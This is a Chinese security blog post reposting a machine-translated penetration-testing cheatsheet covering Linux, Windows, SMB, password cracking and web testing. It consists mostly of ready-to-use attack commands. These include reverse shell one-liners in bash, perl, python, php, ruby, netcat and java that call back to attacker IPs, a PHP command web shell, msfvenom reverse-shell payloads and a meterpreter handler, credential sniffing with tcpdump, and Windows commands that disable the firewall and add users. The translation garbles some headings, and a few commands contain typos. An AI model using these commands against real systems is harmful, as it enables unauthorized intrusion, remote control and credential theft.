WEB安全

国外大佬的博客 matteomalvica

                             网络安全即是国家安全,积极响应国家号召,参与净网行动

Pentesting Cheatsheet

国外大佬的博客

https://www.matteomalvica.com/pentesting/

 

下面是这个页面的内容

我收集的一个非结构化的螺栓和夹具列表。

Linux的

特权

找到所有setuid和setgid程序
find / -perm -6000 -print

设置文件不可变(甚至根不能删除它)
chattr +i test.txt

设置文件只附加。只能添加新内容,不能删除旧内容
chattr +a test.txt

验证不可变标志(加上其他标志)
lsattr

撤消当前和子目录中的组和其他读取+写入+执行权限
chmod -R go-rwx /*

在当前和子目录中为所有用户分配读+写+执行权限
chmod -R a+rx /*

允许文件所有者成为唯一有权删除其文件的人
umask 0000

cat,grep&misc命令

递归地cat所有文件
find . -name '*.txt' -exec cat {} \;
find . -name '*' -exec ls -asl {} \; 2>/dev/null | grep passwd
find . -name foo -type f -print0 | xargs -0 grep "password"

在文件中查找模式并抑制stderr
grep 'pattern' file 2>/dev/null
grep -s 'pattern' file

网络扫描

Unicorn UDP扫描隧道接口(通常比nmap快)
unicornscan -mU -p 161 10.11.1.0/24 -i tap0

通过隧道的Masscan
masscan -p1-65500 10.11.1.219 --interface tap0 --router-mac 00-50-56-89-35-90

交通转储

抓住两个关键字之间的所有内容
tcpdump -i eth0 port 80 -X | sed -n -e '/username/,/=ldap/ p'

抓住用户并传递普通的http

tcpdump -i eth0  port http -l -A | egrep -i 'pass=|pwd=|log=|login=|user=|username=|pw=|passw=|passwd=|password=|pass:|user:|username:|password:|login:|pass |user ' --color=auto --line-buffered -B20

SSH端口转发

SSH本地端口转发
通过本地侦听器使主机可以访问远程网络上的服务。通过连接到SSH客户端系统上的8834,可以访问TCP端口8834上远程主机上运行的服务。
ssh -L 8834:localhost:8834 user@taget_ip

SSH远程端口转发
通过远程侦听器使远程主机可以访问本地系统/本地网络上的服务。通过连接到SSH服务器上的127.0.0.1:8000,SSH服务器将能够访问172.16.0.99(可从SSH客户端访问的主机)上的TCP端口80。
ssh -R 127.0.0.1:8000:172.16.0.99:80 10.0.0.1

密码破解和单词表

Crunch Worlist Generator

Crunch - Wordlist Generator
    @ - Lower case alpha characters
    , - Upper case alpha characters
    % - Numeric characters
    ^ - Special characters including space

    example:
    crunch 8 8 -t ,@@^^%%%

从网站定制字典
cewl -d 2 -m 5 -w docswords.txt http://docs.kali.org

使用维基百科中的单词创建挪威语单词列表

wget http://download.wikimedia.org/nowiki/latest/nowiki-latest-pages-articles.xml.bz2

bzcat nowiki-latest-pages-articles.xml.bz2 | grep '^[a-zA-Z]' | sed 's/[-_:.,;#@+?{}()&|§!¤%`<>="\/]/\ /g'```<br>``` | tr ' ' '\n' | sed 's/[0-9]//g' | sed 's/[^A-Za-z0-9]//g' | sed -e 's/./\L\0/g' ```<br>```| sed 's/[^abcdefghijklmnopqrstuvwxyzæøå]//g' | sort | uniq | pw-inspector -m1 -M20 > nowiki.lst

反壳oneliners

庆典

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

perl的

perl -e 'use Socket;$i="192.168.26.31";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i”);};’

蟒蛇

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.26.31",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

PHP

反壳
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
命令后门
<?php echo shell_exec($_GET['cmd']);?>

红宝石

ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Netcat的

nc -e /bin/sh 10.0.0.1 1234

Java的

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

#Xterm

xterm -display 10.0.0.1:1

SMB

列出股票
smbclient -L 1.2.3.4

连接到分享
smbclient \\\\1.2.3.4\\SHARE

Nmap SMB脚本:

nmap -v -p 139,445 [IP] --script=smb-vuln-conficker.nse
nmap -v -p 139,445 [IP] --script=smb-vuln-cve2009-3103.nse
nmap -v -p 139,445 [IP] --script=smb-vuln-ms06-025.nse
nmap -v -p 139,445 [IP] --script=smb-vuln-ms07-029.nse
nmap -v -p 139,445 [IP] --script=smb-vuln-ms08-067.nse
nmap -v -p 139,445 [IP] --script=smb-vuln-ms10-054.nse
nmap -v -p 139,445 [IP] --script=smb-vuln-ms10-061.nse
nmap -v -p 139,445 [IP] --script=smb-vuln-ms17-010.nse
nmap -v -p 139,445 [IP] --script=smb-vuln-regsvc-dos.nse

SNMP

onesixtyone – c <community list file> -I <ip-address>
snmpwalk -c <community string> -v <version> <ip address>

MSFVenom

视窗

分阶段反向TCP

msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f exe > reverse.exe

无阶段(单个)反向TCP

msfvenom -p windows/shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f exe > reverse.exe

Linux的

分阶段反向TCP

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f elf >reverse.elf

无阶段(单个)反向TCP

msfvenom -p linux/x86/shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f elf >reverse.elf

VBA / VBS有效负载

msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.1.101 LPORT=8080 -e x86/shikata_ga_nai -f vba-exe

Meterpreter就会

Meterpreter处理程序模板

use exploit/multi/handler
set PAYLOAD osx/x64/meterpreter/reverse_tcp
set LHOST 10.10.1.12
set LPORT 4444
set ExitOnSession false
exploit -j -z

编译

创建目标文件,并链接它
nasm -f elf -o shellcode.o shellcode.nasm
ld -melf_i386 -z execstack -o shellcode shellcode.o

一次编译
gcc -z execstack -o shellcode shellcode.c

在kali 64bit上编译windows PE
x86_64-w64-mingw32-gcc shell.c -o shell.exe

在kali 32bit上编译窗口
i686-w64-mingw32-gcc shell.c -o shell.exe

仅从C代码生成ASM
gcc -S -fno-asynchronous-unwind-tables -masm=intel *.c

二元开发和逆转

ASLR

在系统范围内禁用ASLR
echo 1 > /proc/sys/kernel/randomize_va_space

在单个bash会话上禁用ASLR,而不是整个OS
setarch $(uname --machine) --addr-no-randomize bash

PWN工具

将shellcode转换为machinecode
print(repr(asm(shellcraft.sh())))

Ret2LibC 

在libc中查找/ bin / sh位置

(gdb) break main
Breakpoint 1 at 0x8048570
(gdb) run
Starting program: /root/Desktop/RE/intro_rev_binary_expl/exploitation/examples/hello

Breakpoint 1, 0x08048570 in main ()
(gdb) find 0xf7dba000,0xf7f8c000,"/bin/sh"
0xf7f35988
1 pattern found.

RADARE2备忘单
https://github.com/zxgio/r2-cheatsheet/blob/master/r2-cheatsheet.pdf

视窗

版本信息

WINDOWS NT
5.0   2000
5.1   XP/legacy
5.2   XP64/Server 2003 (R2)
6.0   Vista/Server 2008
6.1   7/Server 2008R2/Home Server 2011
6.2   8/Server 2012
6.3   8.1/Server 2012R2
10.0  10/Server 2016

基本枚举

常规系统信息
systeminfo
获取主机名
hostname
当前用户
whoami
当前用户,组和权限
whoami /all
IP和网络
ipconfig /all
route print
netstat -bano
netsat -r
wingrep 
command | findstr /C:"str"
当前路径
path
运行目标“可执行”,用户配置文件permissiosn为/ user:
runas /profile /user:administrator "C:\absolute\path\pcoff.exe"
在后台运行代码
START /B process.exe
执行执行目录中的所有文件
for %%i in (C:\abs\path\*) do %%i

for /F "usebackq" %i in (`dir /b C:\macros\Day\`) DO %i

用户

whoami
net users
列出当前域
net user /domain
列表中的用户用户信息
net user username
添加本地系统用户
net user name pass /add
检查用户的网络组成员身份
net user name setpword
net user /DOMAIN %USERNAME%
检查另一个用户的信息
net user /domain user
列表AD组
net group "Domain Users" /domain
列表域中的用户本地组用户
net localgroup "administrators" /domain
net group “Domain Admins” /domain
net group “Enterprise Admins” /domain
net group “Domain Controllers” /domain
NET LOCALGROUP "Remote Desktop Users" trinity /ADD
列出locahost的密码策略
net accounts
net accounts /domain

联网

查看完整ARP表
arp -A
视图可用网络共享主机
net view
查看主机上的可用共享
net view \\HOST
查询NBNS / SMB(SAMBA)并尝试查找“其他域”中的所有主机
net view /domain:otherdomain
列出在远程系统上运行这些任务的用户的任务
tasklist /V /S computername
防火墙
netsh firewall show state
netsh firewall show config
netsh firewall set opmode disable
netsh advfirewall set allprofiles state off
配置nic到用户dhcp 
netsh interface ip set address local dhcp
打开端口(用于rdesktop)
netsh advfirewall firewall add rule name="Open Port 3389" dir=in action=allow
protocol=TCP localport=3389
关闭端口(用于rdesktop)
netsh advfirewall firewall add rule name="Block mssql attack ips" dir=in
action=block protocol=TCP localport=1433 remoteip=22.75.175.213

自动启动目录

Windows NT 6.1,6.0
%SystemDrive%\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\
Windows NT 5.2, 5.1, 5,0
%SystemDrive%\Documents And Settings\All Users\Start Menu\Programs\StartUp\
Windows 9x
%SystemDrive%\wmiOWS\Start Menu\Programs\StartUp\
Windows NT 4.0, 3.51, 3.50
%SystemDrive%\WINNT\Profiles\All Users\Start Menu\Programs\StartUp\

SMB

将远程硬盘映射到本地路径
net use * \\remote_ip\c$ password /u:remote_ip\username
验证共享
net use [sharename]

电源外壳

本地使用PS以管理员身份执行命令,给定管理员密码

$user = "PC\Administrator";
$password = "test1234";
$pass_string = convertTo-SecureString -AsPlaintext -Force $password;
$cred = new-object system.management.automation.pscredential($user, $pass_string);
Invoke-Command -ComputerName 127.0.0.1 -Credential $cred -ScriptBlock { type C:/Users/Administrator/Desktop/root.txt ; type C:/Users/h.potter/user.txt }

特权升级

每个人或用户的完全权限?将(F)替换为(M)以检查修改权限

icacls "C:\Program Files\*" 2>nul | findstr "(F)" | findstr "Everyone"
icacls "C:\Program Files (x86)\*" 2>nul | findstr "(F)" | findstr "Everyone"
icacls "C:\Program Files\*" 2>nul | findstr "(F)" | findstr "BUILTIN\Users"
icacls "C:\Program Files (x86)\*" 2>nul | findstr "(F)" | findstr "BUILTIN\Users"

不带引号的服务路径?

wmic service get name,displayname,pathname,startmode 2>nul |findstr /i "Auto" 2>nul |findstr /i /v "C:\Windows\\" 2>nul |findstr /i /v """

注册表中的密码?
reg query HKCU /f password /t REG_SZ /s
reg query HKLM /f password /t REG_SZ /s

Web应用程序

解析

curl [IP] -s -L | html2text -width '99' | uniq

注射

SQLI

SQLmap示例

sqlmap -m [external url list]  --crawl=6 --threads=10 --random-agent --dbms=mysql|mssql|postgresql|orcale --level=5 ```<br>```--risk=3
(0)

本文由 SAFEING 信息安全博客 作者:root 发表,转载请注明来源!

                             网络安全即是国家安全,积极响应国家号召,参与净网行动

热评文章

发表评论

电子邮件地址不会被公开。